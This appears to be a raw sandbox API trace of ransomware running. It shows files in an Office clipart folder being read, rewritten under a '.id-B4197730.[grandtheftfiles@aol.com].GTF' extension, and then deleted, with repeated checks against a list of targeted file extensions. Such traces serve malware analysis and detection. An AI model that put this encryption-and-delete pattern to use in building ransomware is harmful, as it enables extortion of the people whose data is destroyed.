	[0164.330] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.330] SetEndOfFile (hFile=0x528) returned 1
	[0164.330] CloseHandle (hObject=0x528) returned 1
	[0164.331] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.331] SetEndOfFile (hFile=0x4b4) returned 1
	[0164.334] CloseHandle (hObject=0x4b4) returned 1
	[0164.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.334] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 1
	[0164.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0164.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0164.335] lstrlenW (lpString=".doc") returned 4
	[0164.335] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.335] lstrlenW (lpString=".docx") returned 5
	[0164.335] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1
	[0164.335] lstrlenW (lpString=".pdf") returned 4
	[0164.335] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.335] lstrlenW (lpString=".xls") returned 4
	[0164.335] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.335] lstrlenW (lpString=".xlsx") returned 5
	[0164.335] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1
	[0164.335] lstrlenW (lpString=".ppt") returned 4
	[0164.335] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0164.335] lstrlenW (lpString=".zip") returned 4
	[0164.335] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.335] lstrlenW (lpString=".rar") returned 4
	[0164.335] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.335] lstrlenW (lpString=".bz2") returned 4
	[0164.335] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.335] lstrlenW (lpString=".7z") returned 3
	[0164.335] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0164.336] lstrlenW (lpString=".dbf") returned 4
	[0164.336] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0164.336] lstrlenW (lpString=".1cd") returned 4
	[0164.336] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0164.336] lstrlenW (lpString=".jpg") returned 4
	[0164.336] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0164.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0164.336] lstrlenW (lpString=".doc") returned 4
	[0164.336] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.336] lstrlenW (lpString=".docx") returned 5
	[0164.336] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1
	[0164.336] lstrlenW (lpString=".pdf") returned 4
	[0164.336] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.336] lstrlenW (lpString=".xls") returned 4
	[0164.336] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.336] lstrlenW (lpString=".xlsx") returned 5
	[0164.336] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1
	[0164.336] lstrlenW (lpString=".ppt") returned 4
	[0164.336] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0164.336] lstrlenW (lpString=".zip") returned 4
	[0164.336] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.336] lstrlenW (lpString=".rar") returned 4
	[0164.336] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.336] lstrlenW (lpString=".bz2") returned 4
	[0164.336] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.336] lstrlenW (lpString=".7z") returned 3
	[0164.336] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0164.336] lstrlenW (lpString=".dbf") returned 4
	[0164.337] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0164.337] lstrlenW (lpString=".1cd") returned 4
	[0164.337] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68
	[0164.337] lstrlenW (lpString=".jpg") returned 4
	[0164.337] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.337] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.337] lstrlenW (lpString="PARNT_04.MID") returned 12
	[0164.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.337] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6070) returned 1
	[0164.337] CloseHandle (hObject=0x4b4) returned 1
	[0164.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 0x220
	[0164.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.338] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.338] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0164.339] GetLastError () returned 0x0
	[0164.339] ReadFile (in: hFile=0x4b4, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x17b6, lpOverlapped=0x0) returned 1
	[0164.535] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x17c0, lpOverlapped=0x0) returned 1
	[0164.535] ReadFile (in: hFile=0x4b4, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.536] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.536] SetEndOfFile (hFile=0x528) returned 1
	[0164.536] CloseHandle (hObject=0x528) returned 1
	[0164.536] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.536] SetEndOfFile (hFile=0x4b4) returned 1
	[0164.540] CloseHandle (hObject=0x4b4) returned 1
	[0164.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 1
	[0164.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0164.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0164.541] lstrlenW (lpString=".doc") returned 4
	[0164.541] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.541] lstrlenW (lpString=".docx") returned 5
	[0164.541] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1
	[0164.541] lstrlenW (lpString=".pdf") returned 4
	[0164.541] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.541] lstrlenW (lpString=".xls") returned 4
	[0164.541] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.541] lstrlenW (lpString=".xlsx") returned 5
	[0164.541] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1
	[0164.541] lstrlenW (lpString=".ppt") returned 4
	[0164.541] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0164.542] lstrlenW (lpString=".zip") returned 4
	[0164.542] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.542] lstrlenW (lpString=".rar") returned 4
	[0164.542] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.542] lstrlenW (lpString=".bz2") returned 4
	[0164.542] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.542] lstrlenW (lpString=".7z") returned 3
	[0164.542] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0164.542] lstrlenW (lpString=".dbf") returned 4
	[0164.542] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0164.542] lstrlenW (lpString=".1cd") returned 4
	[0164.542] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0164.542] lstrlenW (lpString=".jpg") returned 4
	[0164.542] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0164.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0164.542] lstrlenW (lpString=".doc") returned 4
	[0164.542] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.542] lstrlenW (lpString=".docx") returned 5
	[0164.542] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1
	[0164.542] lstrlenW (lpString=".pdf") returned 4
	[0164.542] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.542] lstrlenW (lpString=".xls") returned 4
	[0164.542] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.542] lstrlenW (lpString=".xlsx") returned 5
	[0164.542] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1
	[0164.542] lstrlenW (lpString=".ppt") returned 4
	[0164.542] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0164.542] lstrlenW (lpString=".zip") returned 4
	[0164.542] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.542] lstrlenW (lpString=".rar") returned 4
	[0164.543] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.543] lstrlenW (lpString=".bz2") returned 4
	[0164.543] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.543] lstrlenW (lpString=".7z") returned 3
	[0164.543] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0164.543] lstrlenW (lpString=".dbf") returned 4
	[0164.543] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0164.543] lstrlenW (lpString=".1cd") returned 4
	[0164.543] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0164.543] lstrlenW (lpString=".jpg") returned 4
	[0164.543] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.543] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.543] lstrlenW (lpString="PARNT_07.MID") returned 12
	[0164.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.544] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6564) returned 1
	[0164.544] CloseHandle (hObject=0x4b4) returned 1
	[0164.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 0x220
	[0164.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.544] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.544] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0164.545] GetLastError () returned 0x0
	[0164.545] ReadFile (in: hFile=0x4b4, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x19a4, lpOverlapped=0x0) returned 1
	[0164.593] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x19b0, lpOverlapped=0x0) returned 1
	[0164.594] ReadFile (in: hFile=0x4b4, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.594] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.594] SetEndOfFile (hFile=0x528) returned 1
	[0164.615] CloseHandle (hObject=0x528) returned 1
	[0164.615] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.615] SetEndOfFile (hFile=0x4b4) returned 1
	[0164.640] CloseHandle (hObject=0x4b4) returned 1
	[0164.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 1
	[0164.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0164.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0164.641] lstrlenW (lpString=".doc") returned 4
	[0164.641] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.641] lstrlenW (lpString=".docx") returned 5
	[0164.642] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1
	[0164.642] lstrlenW (lpString=".pdf") returned 4
	[0164.642] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.642] lstrlenW (lpString=".xls") returned 4
	[0164.642] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.642] lstrlenW (lpString=".xlsx") returned 5
	[0164.642] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1
	[0164.642] lstrlenW (lpString=".ppt") returned 4
	[0164.642] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0164.642] lstrlenW (lpString=".zip") returned 4
	[0164.642] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.642] lstrlenW (lpString=".rar") returned 4
	[0164.642] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.642] lstrlenW (lpString=".bz2") returned 4
	[0164.642] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.642] lstrlenW (lpString=".7z") returned 3
	[0164.642] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0164.642] lstrlenW (lpString=".dbf") returned 4
	[0164.642] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0164.642] lstrlenW (lpString=".1cd") returned 4
	[0164.642] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0164.642] lstrlenW (lpString=".jpg") returned 4
	[0164.642] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0164.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0164.642] lstrlenW (lpString=".doc") returned 4
	[0164.642] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.642] lstrlenW (lpString=".docx") returned 5
	[0164.642] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1
	[0164.642] lstrlenW (lpString=".pdf") returned 4
	[0164.643] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.643] lstrlenW (lpString=".xls") returned 4
	[0164.643] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.643] lstrlenW (lpString=".xlsx") returned 5
	[0164.643] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1
	[0164.643] lstrlenW (lpString=".ppt") returned 4
	[0164.643] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0164.643] lstrlenW (lpString=".zip") returned 4
	[0164.643] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.643] lstrlenW (lpString=".rar") returned 4
	[0164.643] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.643] lstrlenW (lpString=".bz2") returned 4
	[0164.643] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.643] lstrlenW (lpString=".7z") returned 3
	[0164.643] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0164.643] lstrlenW (lpString=".dbf") returned 4
	[0164.654] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0164.654] lstrlenW (lpString=".1cd") returned 4
	[0164.654] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0164.654] lstrlenW (lpString=".jpg") returned 4
	[0164.654] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.654] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.654] lstrlenW (lpString="PARNT_10.MID") returned 12
	[0164.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.675] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5393) returned 1
	[0164.675] CloseHandle (hObject=0x4b4) returned 1
	[0164.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 0x220
	[0164.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.676] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.676] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0164.676] GetLastError () returned 0x0
	[0164.676] ReadFile (in: hFile=0x4b4, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x1511, lpOverlapped=0x0) returned 1
	[0164.694] WriteFile (in: hFile=0x52c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1520, lpOverlapped=0x0) returned 1
